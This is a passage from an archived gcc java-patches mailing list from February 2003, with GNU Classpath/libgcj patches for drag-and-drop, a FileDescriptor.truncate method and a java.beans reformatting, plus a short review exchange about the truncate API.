DropTarget.DropTargetAutoScroller (c, p); } protected void initializeAutoscrolling(Point p) Index: java/awt/dnd/DropTargetContext.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DropTargetContext.java,v retrieving revision 1.3 diff -u -r1.3 DropTargetContext.java --- java/awt/dnd/DropTargetContext.java 17 Feb 2003 15:26:30 -0000 1.3 +++ java/awt/dnd/DropTargetContext.java 27 Feb 2003 07:27:53 -0000 @@ -44,6 +44,7 @@ import java.awt.datatransfer.DataFlavor; import java.awt.datatransfer.Transferable; import java.awt.datatransfer.UnsupportedFlavorException; +import java.util.Arrays; import java.util.List; /** @@ -67,46 +68,49 @@ public DataFlavor[] getTransferDataFlavors () { - // FIXME: implement this - return null; + return transferable.getTransferDataFlavors (); } public boolean isDataFlavorSupported (DataFlavor flavor) { - // FIXME: implement this - return false; + return transferable.isDataFlavorSupported (flavor); } public Object getTransferData (DataFlavor flavor) throws UnsupportedFlavorException, IOException { - // FIXME: implement this - return null; + return transferable.getTransferData (flavor); } } + private DropTarget dropTarget; private int targetActions; + private java.awt.dnd.peer.DropTargetContextPeer dtcp; + + // package private + DropTargetContext (DropTarget dropTarget) + { + this.dropTarget = dropTarget; + } public DropTarget getDropTarget () { - // FIXME: implement this - return null; + return dropTarget; } public Component getComponent () { - // FIXME: implement this - return null; + return dropTarget.getComponent (); } public void addNotify (java.awt.dnd.peer.DropTargetContextPeer dtcp) { - // FIXME: implement this + this.dtcp = dtcp; } public void removeNotify () { - // FIXME: implement this + this.dtcp = null; } protected void setTargetActions (int actions) @@ -157,14 +161,12 @@ protected List getCurrentDataFlavorsAsList () { - // FIXME: implement this - return null; + return Arrays.asList (getCurrentDataFlavors ()); } protected boolean isDataFlavorSupported (DataFlavor flavor) { - // FIXME: implement this - return false; + return getCurrentDataFlavorsAsList ().contains (flavor); } /** Index: java/awt/dnd/MouseDragGestureRecognizer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/MouseDragGestureRecognizer.java,v retrieving revision 1.2 diff -u -r1.2 MouseDragGestureRecognizer.java --- java/awt/dnd/MouseDragGestureRecognizer.java 17 Feb 2003 15:26:30 -0000 1.2 +++ java/awt/dnd/MouseDragGestureRecognizer.java 27 Feb 2003 07:27:53 -0000 @@ -84,12 +84,14 @@ protected void registerListeners () { - // FIXME: implement this + component.addMouseListener (this); + component.addMouseMotionListener (this); } protected void unregisterListeners () { - // FIXME: implement this + component.removeMouseListener (this); + component.removeMouseMotionListener (this); } public void mouseClicked (MouseEvent e) --Boundary-00=_Q7bX+Upom9n5zW1-- From java-patches-return-6285-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 27 10:21:37 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12057 invoked by alias); 27 Feb 2003 10:21:36 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12049 invoked from network); 27 Feb 2003 10:21:35 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by 172.16.49.205 with SMTP; 27 Feb 2003 10:21:35 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-73-212.ewetel.net [80.228.73.212]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h1RALX1f001994 for ; Thu, 27 Feb 2003 11:21:34 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.io.FileDescriptor Date: Thu, 27 Feb 2003 11:21:55 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_DbeX+TXzq4xUDTL" Message-Id: <200302271121.55837.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_DbeX+TXzq4xUDTL Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, This patch adds a truncate method to java.io.FileDescriptor. Its=20 currently "implemented" for Ecos and Posix. The windows people should=20 implement it for win32. The stub is there. Please comment for review (this is for trunk only, I think). Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+XebDWSOgCCdjSDsRAqqoAJ96DI0CnnbCLA0h8M/WFAAXREehNACeNDfV BnrOioVw2/j7NC6LpKiExM8=3D =3DuhDF =2D----END PGP SIGNATURE----- --Boundary-00=_DbeX+TXzq4xUDTL Content-Type: text/x-diff; charset="iso-8859-15"; name="fd.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="fd.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1734 diff -u -r1.1734 ChangeLog --- ChangeLog 25 Feb 2003 11:09:43 -0000 1.1734 +++ ChangeLog 27 Feb 2003 10:17:22 -0000 @@ -1,3 +1,14 @@ +2003-02-27 Michael Koch + + * java/io/FileDescriptor.java + (truncate): New method. + * java/io/natFileDescriptorEcos.cc + (truncate): New method. + * java/io/natFileDescriptorPosix.cc + (truncate): New method. + * java/io/natFileDescriptorWin32.cc + (truncate): New stubbed method. + 2003-02-25 Michael Koch * gnu/java/nio/MappedByteFileBuffer.java, Index: java/io/FileDescriptor.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileDescriptor.java,v retrieving revision 1.11 diff -u -r1.11 FileDescriptor.java --- java/io/FileDescriptor.java 4 Jan 2003 03:53:00 -0000 1.11 +++ java/io/FileDescriptor.java 27 Feb 2003 10:17:22 -0000 @@ -73,13 +73,14 @@ native int seek (long pos, int whence, boolean eof_trunc) throws IOException; native long length () throws IOException; native long getFilePointer () throws IOException; + native void truncate (long pos) throws IOException; native int read () throws IOException; native int read (byte[] bytes, int offset, int len) throws IOException; native int available () throws IOException; // When collected, close. - protected void finalize () throws IOException + protected void finalize () throws Throwable { if (valid ()) close (); Index: java/io/natFileDescriptorEcos.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/natFileDescriptorEcos.cc,v retrieving revision 1.9 diff -u -r1.9 natFileDescriptorEcos.cc --- java/io/natFileDescriptorEcos.cc 24 Jul 2002 17:48:41 -0000 1.9 +++ java/io/natFileDescriptorEcos.cc 27 Feb 2003 10:17:22 -0000 @@ -119,6 +119,11 @@ return 0; } +void +java::io::FileDescriptor::truncate (jlong) +{ +} + jint java::io::FileDescriptor::read (void) { Index: java/io/natFileDescriptorPosix.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/natFileDescriptorPosix.cc,v retrieving revision 1.24 diff -u -r1.24 natFileDescriptorPosix.cc --- java/io/natFileDescriptorPosix.cc 4 Jan 2003 03:53:00 -0000 1.24 +++ java/io/natFileDescriptorPosix.cc 27 Feb 2003 10:17:22 -0000 @@ -272,6 +272,13 @@ return position; } +void +java::io::FileDescriptor::truncate (jlong pos) +{ + if (::ftruncate (fd, pos) < 0) + throw new IOException (JvNewStringUTF (strerror (errno))); +} + jint java::io::FileDescriptor::read (void) { Index: java/io/natFileDescriptorWin32.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/natFileDescriptorWin32.cc,v retrieving revision 1.12 diff -u -r1.12 natFileDescriptorWin32.cc --- java/io/natFileDescriptorWin32.cc 11 Feb 2003 20:55:26 -0000 1.12 +++ java/io/natFileDescriptorWin32.cc 27 Feb 2003 10:17:22 -0000 @@ -282,6 +282,12 @@ return (((jlong)high) << 32L) | (jlong)low; } +void +java::io::FileDescriptor::truncate (jlong pos) +{ + throw new IOException (JvNewStringLatin1 ("FileDescriptor::truncate: not implemented")); +} + jint java::io::FileDescriptor::read(void) { --Boundary-00=_DbeX+TXzq4xUDTL-- From java-patches-return-6286-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 27 10:46:25 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19510 invoked by alias); 27 Feb 2003 10:46:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19502 invoked from network); 27 Feb 2003 10:46:23 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 27 Feb 2003 10:46:23 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-14.rdu.redhat.com [172.16.50.14]) by executor.cambridge.redhat.com (Postfix) with ESMTP id ED83FABB05; Thu, 27 Feb 2003 10:46:20 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h1RAkDT08737; Thu, 27 Feb 2003 10:46:13 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15965.60533.712966.693414@cuddles.cambridge.redhat.com> Date: Thu, 27 Feb 2003 10:46:13 +0000 (GMT) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: [PATCH] java.io.FileDescriptor In-Reply-To: <200302271121.55837.konqueror@gmx.de> References: <200302271121.55837.konqueror@gmx.de> Michael Koch writes: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi list, > > > This patch adds a truncate method to java.io.FileDescriptor. Its > currently "implemented" for Ecos and Posix. The windows people should > implement it for win32. The stub is there. > > Please comment for review (this is for trunk only, I think). I don't get it. FileDescriptor doesn't have a truncate method in the spec. Are you proposing an extension to the API? Andrew. From java-patches-return-6287-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 27 10:48:14 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19813 invoked by alias); 27 Feb 2003 10:48:14 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19805 invoked from network); 27 Feb 2003 10:48:13 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 27 Feb 2003 10:48:13 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-74-029.ewetel.net [80.228.74.29]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h1RAmBNt001481; Thu, 27 Feb 2003 11:48:11 +0100 (MET) From: Michael Koch To: Andrew Haley Subject: Re: [PATCH] java.io.FileDescriptor Date: Thu, 27 Feb 2003 11:48:33 +0100 User-Agent: KMail/1.5 Cc: java-patches@gcc.gnu.org References: <200302271121.55837.konqueror@gmx.de> <15965.60533.712966.693414@cuddles.cambridge.redhat.com> In-Reply-To: <15965.60533.712966.693414@cuddles.cambridge.redhat.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200302271148.33664.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Donnerstag, 27. Februar 2003 11:46 schrieb Andrew Haley: > Michael Koch writes: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Hi list, > > > > > > This patch adds a truncate method to java.io.FileDescriptor. Its > > currently "implemented" for Ecos and Posix. The windows people > > should implement it for win32. The stub is there. > > > > Please comment for review (this is for trunk only, I think). > > I don't get it. FileDescriptor doesn't have a truncate method in > the spec. Are you proposing an extension to the API? Yes, its a package-private extension needed for the java.nio stuff. I=20 forgot to write that, sorry. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+Xe0BWSOgCCdjSDsRAvEPAKCDMUlE1VU0knTv2K2CaaaQAvt4SACeKgrJ mf3zC019BphFY9T7jTRqKxQ=3D =3DQa67 =2D----END PGP SIGNATURE----- From java-patches-return-6288-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 27 10:52:49 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22668 invoked by alias); 27 Feb 2003 10:52:48 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22661 invoked from network); 27 Feb 2003 10:52:48 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by 172.16.49.205 with SMTP; 27 Feb 2003 10:52:48 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-74-029.ewetel.net [80.228.74.29]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h1RAqi1f016367 for ; Thu, 27 Feb 2003 11:52:45 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: java.beans Date: Thu, 27 Feb 2003 11:53:07 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_T4eX+fXZ2ySx2dl" Message-Id: <200302271153.07409.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_T4eX+fXZ2ySx2dl Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited a patch to java.beans to reformat the code to GNU style. No=20 other code changes. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+Xe4TWSOgCCdjSDsRAisaAJ4wT4JoK7FHYyQbm3EouBB8BUVfswCghu8L hcLoAhtjRQkV/GjboEPcvH4=3D =3D+xBr =2D----END PGP SIGNATURE----- --Boundary-00=_T4eX+fXZ2ySx2dl Content-Type: text/x-diff; charset="iso-8859-15"; name="beans.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="beans.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1734 diff -u -r1.1734 ChangeLog --- ChangeLog 25 Feb 2003 11:09:43 -0000 1.1734 +++ ChangeLog 27 Feb 2003 10:50:42 -0000 @@ -1,3 +1,10 @@ +2003-02-27 Michael Koch + + * java/beans/Beans.java, + java/beans/FeatureDescriptor.java + java/beans/PropertyEditorManager.java: + Reformated to GNU style. + 2003-02-25 Michael Koch * gnu/java/nio/MappedByteFileBuffer.java, Index: java/beans/Beans.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/beans/Beans.java,v retrieving revision 1.3 diff -u -r1.3 Beans.java --- java/beans/Beans.java 22 Jan 2002 22:40:11 -0000 1.3 +++ java/beans/Beans.java 27 Feb 2003 10:50:42 -0000 @@ -43,166 +43,216 @@ import gnu.java.io.*; /** - * Beans provides some helper methods that allow the basic operations of Bean-ness. + * Beans provides some helper methods that allow the basic + * operations of Bean-ness. * * @author John Keiser - * @since JDK1.1 + * @since 1.1 * @version 1.1.0, 29 Jul 1998 * */ -public class Beans { - static boolean designTime = false; - static boolean guiAvailable = true; - - - /** - * Once again, we have a java.beans class with only - * static methods that can be instantiated. When - * will the madness end? :) - */ - public Beans() { - } - - /** - * Allows you to instantiate a Bean. This method takes - * a ClassLoader from which to read the Bean and the - * name of the Bean.

- * - * The Bean name should be a dotted name, like a class. - * It can represent several things. Beans will search - * for the Bean using the name like this:

- *

    - *
  1. Searches for a serialized instance of the Bean - * using getResource(), mangling the Bean name by - * replacing the dots with slashes and appending .ser - * (for example, gnu.beans.BlahDeBlah would cause - * Beans to search for gnu/beans/BlahDeBlah.ser using - * getResource()).
  2. - *
  3. Searches for the Bean class using the beanName, - * and then instantiates it with the no-arg constructor. - * At that point, if it is an Applet, it provides it - * with AppletContext and AppletStub, and then calls - * init().
  4. - *
- * @param cl the ClassLoader to use, or null - * to use the default ClassLoader. - * @param beanName the name of the Bean. - * @return the Bean. - * @XXX - */ - public static Object instantiate(ClassLoader cl, String beanName) throws IOException, ClassNotFoundException { - Object bean; - - InputStream serStream; - if(cl == null) { - serStream = ClassLoader.getSystemResourceAsStream(beanName.replace('.','/')+".ser"); - } else { - serStream = cl.getResourceAsStream(beanName.replace('.','/')+".ser"); - } - if(serStream != null) { - if(cl == null) { - ObjectInputStream ois = new ObjectInputStream(serStream); - bean = ois.readObject(); - } else { - ClassLoaderObjectInputStream ois = new ClassLoaderObjectInputStream(serStream, cl); - bean = ois.readObject(); - } - } else if(cl == null) { - Class beanClass = Class.forName(beanName); - try { - bean = beanClass.newInstance(); - } catch(IllegalAccessException E) { - bean = null; - } catch(InstantiationException E) { - bean = null; - } - } else { - Class beanClass = cl.loadClass(beanName); - try { - bean = beanClass.newInstance(); - } catch(IllegalAccessException E) { - bean = null; - } catch(InstantiationException E) { - bean = null; - } - } - - if(bean instanceof Applet) { - Applet a = (Applet)bean; - //a.setAppletContext(???); - //a.setStub(???); - if(serStream == null) { - a.init(); - } - } - - return bean; - } - - /** - * Get the Bean as a different class type. - * This should be used instead of casting to get a new - * type view of a Bean, because in the future there may - * be new types of Bean, even Beans spanning multiple - * Objects. - * @param bean the Bean to cast. - * @param newClass the Class to cast it to. - * @return the Bean as a new view, or if the operation - * could not be performed, the Bean itself. - */ - public static Object getInstanceOf(Object bean, Class newClass) { - return bean; - } - - /** - * Determine whether the Bean can be cast to a different - * class type. - * This should be used instead of instanceof to determine - * a Bean's castability, because in the future there may - * be new types of Bean, even Beans spanning multiple - * Objects. - * @param bean the Bean to cast. - * @param newClass the Class to cast it to. - * @return whether the Bean can be cast to the class type - * in question. - */ - public static boolean isInstanceOf(Object bean, Class newBeanClass) { - return newBeanClass.isInstance(bean); - } - - /** - * Find out whether the GUI is available to use. - * Defaults to true. - * @return whether the GUI is available to use. - */ - public static boolean isGuiAvailable() { - return guiAvailable; - } - - /** - * Find out whether it is design time. Design time means - * we are in a RAD tool. - * Defaults to false. - * @return whether it is design time. - */ - public static boolean isDesignTime() { - return designTime; - } - - /** - * Set whether the GUI is available to use. - * @param guiAvailable whether the GUI is available to use. - */ - public static void setGuiAvailable(boolean guiAvailable) throws SecurityException { - Beans.guiAvailable = guiAvailable; - } - - /** - * Set whether it is design time. Design time means we - * are in a RAD tool. - * @param designTime whether it is design time. - */ - public static void setDesignTime(boolean designTime) throws SecurityException { - Beans.designTime = designTime; - } +public class Beans +{ + static boolean designTime = false; + static boolean guiAvailable = true; + + /** + * Once again, we have a java.beans class with only + * static methods that can be instantiated. When + * will the madness end? :) + */ + public Beans() + { + // Do nothing here. + } + + /** + * Allows you to instantiate a Bean. This method takes + * a ClassLoader from which to read the Bean and the + * name of the Bean.

+ * + * The Bean name should be a dotted name, like a class. + * It can represent several things. Beans will search + * for the Bean using the name like this:

+ *

    + *
  1. Searches for a serialized instance of the Bean + * using getResource(), mangling the Bean name by + * replacing the dots with slashes and appending .ser + * (for example, gnu.beans.BlahDeBlah would cause + * Beans to search for gnu/beans/BlahDeBlah.ser using + * getResource()).
  2. + *
  3. Searches for the Bean class using the beanName, + * and then instantiates it with the no-arg constructor. + * At that point, if it is an Applet, it provides it + * with AppletContext and AppletStub, and then calls + * init().
  4. + *
+ * + * @param cl the ClassLoader to use, or null + * to use the default ClassLoader. + * @param beanName the name of the Bean. + * + * @return the Bean. + * + * @XXX + */ + public static Object instantiate (ClassLoader cl, String beanName) + throws IOException, ClassNotFoundException + { + Object bean; + InputStream serStream; + + if (cl == null) + { + serStream = ClassLoader.getSystemResourceAsStream + (beanName.replace ('.','/')+".ser"); + } + else + { + serStream = cl.getResourceAsStream (beanName.replace ('.', '/') + + ".ser"); + } + + if (serStream != null) + { + if(cl == null) + { + ObjectInputStream ois = new ObjectInputStream(serStream); + bean = ois.readObject(); + } + else + { + ClassLoaderObjectInputStream ois = + new ClassLoaderObjectInputStream (serStream, cl); + bean = ois.readObject(); + } + } + else if(cl == null) + { + Class beanClass = Class.forName(beanName); + try + { + bean = beanClass.newInstance(); + } + catch(IllegalAccessException E) + { + bean = null; + } + catch(InstantiationException E) + { + bean = null; + } + } + else + { + Class beanClass = cl.loadClass(beanName); + try + { + bean = beanClass.newInstance(); + } + catch(IllegalAccessException E) + { + bean = null; + } + catch(InstantiationException E) + { + bean = null; + } + } + + if(bean instanceof Applet) + { + Applet a = (Applet)bean; + //a.setAppletContext(???); + //a.setStub(???); + if(serStream == null) + { + a.init(); + } + } + + return bean; + } + + /** + * Get the Bean as a different class type. + * This should be used instead of casting to get a new + * type view of a Bean, because in the future there may + * be new types of Bean, even Beans spanning multiple + * Objects. + * + * @param bean the Bean to cast. + * @param newClass the Class to cast it to. + * + * @return the Bean as a new view, or if the operation + * could not be performed, the Bean itself. + */ + public static Object getInstanceOf(Object bean, Class newClass) + { + return bean; + } + + /** + * Determine whether the Bean can be cast to a different + * class type. + * This should be used instead of instanceof to determine + * a Bean's castability, because in the future there may + * be new types of Bean, even Beans spanning multiple + * Objects. + * + * @param bean the Bean to cast. + * @param newClass the Class to cast it to. + * + * @return whether the Bean can be cast to the class type + * in question. + */ + public static boolean isInstanceOf(Object bean, Class newBeanClass) + { + return newBeanClass.isInstance(bean); + } + + /** + * Find out whether the GUI is available to use. + * Defaults to true. + * + * @return whether the GUI is available to use. + */ + public static boolean isGuiAvailable() + { + return guiAvailable; + } + + /** + * Find out whether it is design time. Design time means + * we are in a RAD tool. + * Defaults to false. + * + * @return whether it is design time. + */ + public static boolean isDesignTime() + { + return designTime; + } + + /** + * Set whether the GUI is available to use. + * @param guiAvailable whether the GUI is available to use. + */ + public static void setGuiAvailable(boolean guiAvailable) + throws SecurityException + { + Beans.guiAvailable = guiAvailable; + } + + /** + * Set whether it is design time. Design time means we + * are in a RAD tool. + * + * @param designTime whether it is design time. + */ + public static void setDesignTime(boolean designTime) + throws SecurityException + { + Beans.designTime = designTime; + } } Index: java/beans/FeatureDescriptor.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/beans/FeatureDescriptor.java,v retrieving revision 1.2 diff -u -r1.2 FeatureDescriptor.java --- java/beans/FeatureDescriptor.java 22 Jan 2002 22:40:11 -0000 1.2 +++ java/beans/FeatureDescriptor.java 27 Feb 2003 10:50:42 -0000 @@ -41,126 +41,175 @@ import java.util.*; /** - ** FeatureDescriptor is the common superclass for all JavaBeans Descriptor classes. - ** JavaBeans descriptors are abstract descriptors of properties, - ** events, methods, beans, etc.

- ** - ** Documentation Convention: for proper - ** Internalization of Beans inside an RAD tool, sometimes there - ** are two names for a property or method: a programmatic, or - ** locale-independent name, which can be used anywhere, and a - ** localized, display name, for ease of use. In the - ** documentation I will specify different String values as - ** either programmatic or localized to - ** make this distinction clear. - ** - ** @author John Keiser - ** @since JDK1.1 - ** @version 1.1.0, 31 May 1998 - **/ - -public class FeatureDescriptor { - String name; - String displayName; - String shortDescription; - boolean expert; - boolean hidden; - - Hashtable valueHash; - - /** Instantiate this FeatureDescriptor with appropriate default values.**/ - public FeatureDescriptor() { - valueHash = new Hashtable(); - } - - /** Get the programmatic name of this feature. **/ - public String getName() { - return name; - } - - /** Set the programmatic name of this feature. - ** @param name the new name for this feature. - **/ - public void setName(String name) { - this.name = name; - } - - /** Get the localized (display) name of this feature. **/ - public String getDisplayName() { - return displayName; - } - - /** Set the localized (display) name of this feature. - ** @param displayName the new display name for this feature. - **/ - public void setDisplayName(String displayName) { - this.displayName = displayName; - } - - /** Get the localized short description for this feature. **/ - public String getShortDescription() { - return shortDescription; - } - - /** Set the localized short description for this feature. - ** @param shortDescription the new short description for this feature. - **/ - public void setShortDescription(String shortDescription) { - this.shortDescription = shortDescription; - } - - /** Indicates whether this feature is for expert use only. - ** @return true if for use by experts only, or false if anyone can use it. - **/ - public boolean isExpert() { - return expert; - } - - /** Set whether this feature is for expert use only. - ** @param expert true if for use by experts only, or false if anyone can use it. - **/ - public void setExpert(boolean expert) { - this.expert = expert; - } - - /** Indicates whether this feature is for use by tools only. - ** If it is for use by tools only, then it should not be displayed. - ** @return true if tools only should use it, or false if anyone can see it. - **/ - public boolean isHidden() { - return hidden; - } - - /** Set whether this feature is for use by tools only. - ** If it is for use by tools only, then it should not be displayed. - ** @param hidden true if tools only should use it, or false if anyone can see it. - **/ - public void setHidden(boolean hidden) { - this.hidden = hidden; - } - - - /** Get an arbitrary value set with setValue(). - ** @param name the programmatic name of the key. - ** @return the value associated with this name, or null if there is none. - **/ - public Object getValue(String name) { - return valueHash.get(name); - } - - /** Set an arbitrary string-value pair with this feature. - ** @param name the programmatic name of the key. - ** @param value the value to associate with the name. - **/ - public void setValue(String name, Object value) { - valueHash.put(name, value); - } - - /** Get a list of the programmatic key names set with setValue(). - ** @return an Enumerator over all the programmatic key names associated - ** with this feature. - **/ - public Enumeration attributeNames() { - return valueHash.keys(); - } + * FeatureDescriptor is the common superclass for all JavaBeans Descriptor + * classes. JavaBeans descriptors are abstract descriptors of properties, + * events, methods, beans, etc.

+ * + * Documentation Convention: for proper + * Internalization of Beans inside an RAD tool, sometimes there + * are two names for a property or method: a programmatic, or + * locale-independent name, which can be used anywhere, and a + * localized, display name, for ease of use. In the + * documentation I will specify different String values as + * either programmatic or localized to + * make this distinction clear. + * + * @author John Keiser + * @since 1.1 + * @version 1.1.0, 31 May 1998 + */ + +public class FeatureDescriptor +{ + String name; + String displayName; + String shortDescription; + boolean expert; + boolean hidden; + + Hashtable valueHash; + + /** + * Instantiate this FeatureDescriptor with appropriate default values. + */ + public FeatureDescriptor() + { + valueHash = new Hashtable(); + } + + /** + * Get the programmatic name of this feature. + */ + public String getName() + { + return name; + } + + /** + * Set the programmatic name of this feature. + * + * @param name the new name for this feature. + */ + public void setName(String name) + { + this.name = name; + } + + /** + * Get the localized (display) name of this feature. + */ + public String getDisplayName() + { + return displayName; + } + + /** + * Set the localized (display) name of this feature. + * + * @param displayName the new display name for this feature. + */ + public void setDisplayName(String displayName) + { + this.displayName = displayName; + } + + /** + * Get the localized short description for this feature. + */ + public String getShortDescription() + { + return shortDescription; + } + + /** + * Set the localized short description for this feature. + * + * @param shortDescription the new short description for this feature. + */ + public void setShortDescription(String shortDescription) + { + this.shortDescription = shortDescription; + } + + /** + * Indicates whether this feature is for expert use only. + * + * @return true if for use by experts only, + * or false if anyone can use it. + */ + public boolean isExpert() + { + return expert; + } + + /** + * Set whether this feature is for expert use only. + * + * @param expert true if for use by experts only, + * or false if anyone can use it. + */ + public void setExpert(boolean expert) + { + this.expert = expert; + } + + /** + * Indicates whether this feature is for use by tools only. + * If it is for use by tools only, then it should not be displayed. + * + * @return true if tools only should use it, + * or false if anyone can see it. + */ + public boolean isHidden() + { + return hidden; + } + + /** + * Set whether this feature is for use by tools only. + * If it is for use by tools only, then it should not be displayed. + * + * @param hidden true if tools only should use it, + * or false if anyone can see it. + */ + public void setHidden(boolean hidden) + { + this.hidden = hidden; + } + + + /** + * Get an arbitrary value set with setValue(). + * + * @param name the programmatic name of the key. + * + * @return the value associated with this name, + * or null if there is none. + */ + public Object getValue(String name) + { + return valueHash.get(name); + } + + /** + * Set an arbitrary string-value pair with this feature. + * + * @param name the programmatic name of the key. + * @param value the value to associate with the name. + */ + public void setValue(String name, Object value) + { + valueHash.put(name, value); + } + + /** + * Get a list of the programmatic key names set with setValue(). + * + * @return an Enumerator over all the programmatic key names associated + * with this feature. + */ + public Enumeration attributeNames() + { + return valueHash.keys(); + } } Index: java/beans/PropertyEditorManager.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/beans/PropertyEditorManager.java,v retrieving revision 1.2 diff -u -r1.2 PropertyEditorManager.java --- java/beans/PropertyEditorManager.java 22 Jan 2002 22:40:11 -0000 1.2 +++ java/beans/PropertyEditorManager.java 27 Feb 2003 10:50:42 -0000 @@ -41,121 +41,152 @@ import gnu.java.lang.ClassHelper; /** - ** PropertyEditorManager is used to find property editors - ** for various types (not necessarily Beans).

- ** - ** It first checks to see if the property editor is - ** already registered; if it is, that property editor is - ** used. Next it takes the type's classname and appends - ** "Editor" to it, and searches first in the class's - ** package and then in the property editor search path.

- ** - ** Default property editors are provided for:

- **

    - **
  1. boolean, byte, short, int, long, float, and double
  2. - **
  3. java.lang.String
  4. - **
  5. java.awt.Color
  6. - **
  7. java.awt.Font
  8. - **
      - ** - ** Spec Suggestion: Perhaps an editor for - ** Filename or something like it should be provided. As well - ** as char. - ** - ** @author John Keiser - ** @since JDK1.1 - ** @version 1.1.0, 29 Jul 1998 - **/ - -public class PropertyEditorManager { - static java.util.Hashtable editors = new java.util.Hashtable(); - static String[] editorSearchPath = {"gnu.java.beans.editors","sun.beans.editors"}; - - static { - registerEditor(java.lang.Boolean.TYPE, gnu.java.beans.editors.NativeBooleanEditor.class); - registerEditor(java.lang.Byte.TYPE, gnu.java.beans.editors.NativeByteEditor.class); - registerEditor(java.lang.Short.TYPE, gnu.java.beans.editors.NativeShortEditor.class); - registerEditor(java.lang.Integer.TYPE, gnu.java.beans.editors.NativeIntEditor.class); - registerEditor(java.lang.Long.TYPE, gnu.java.beans.editors.NativeLongEditor.class); - registerEditor(java.lang.Float.TYPE, gnu.java.beans.editors.NativeFloatEditor.class); - registerEditor(java.lang.Double.TYPE, gnu.java.beans.editors.NativeDoubleEditor.class); - registerEditor(java.lang.String.class, gnu.java.beans.editors.StringEditor.class); - 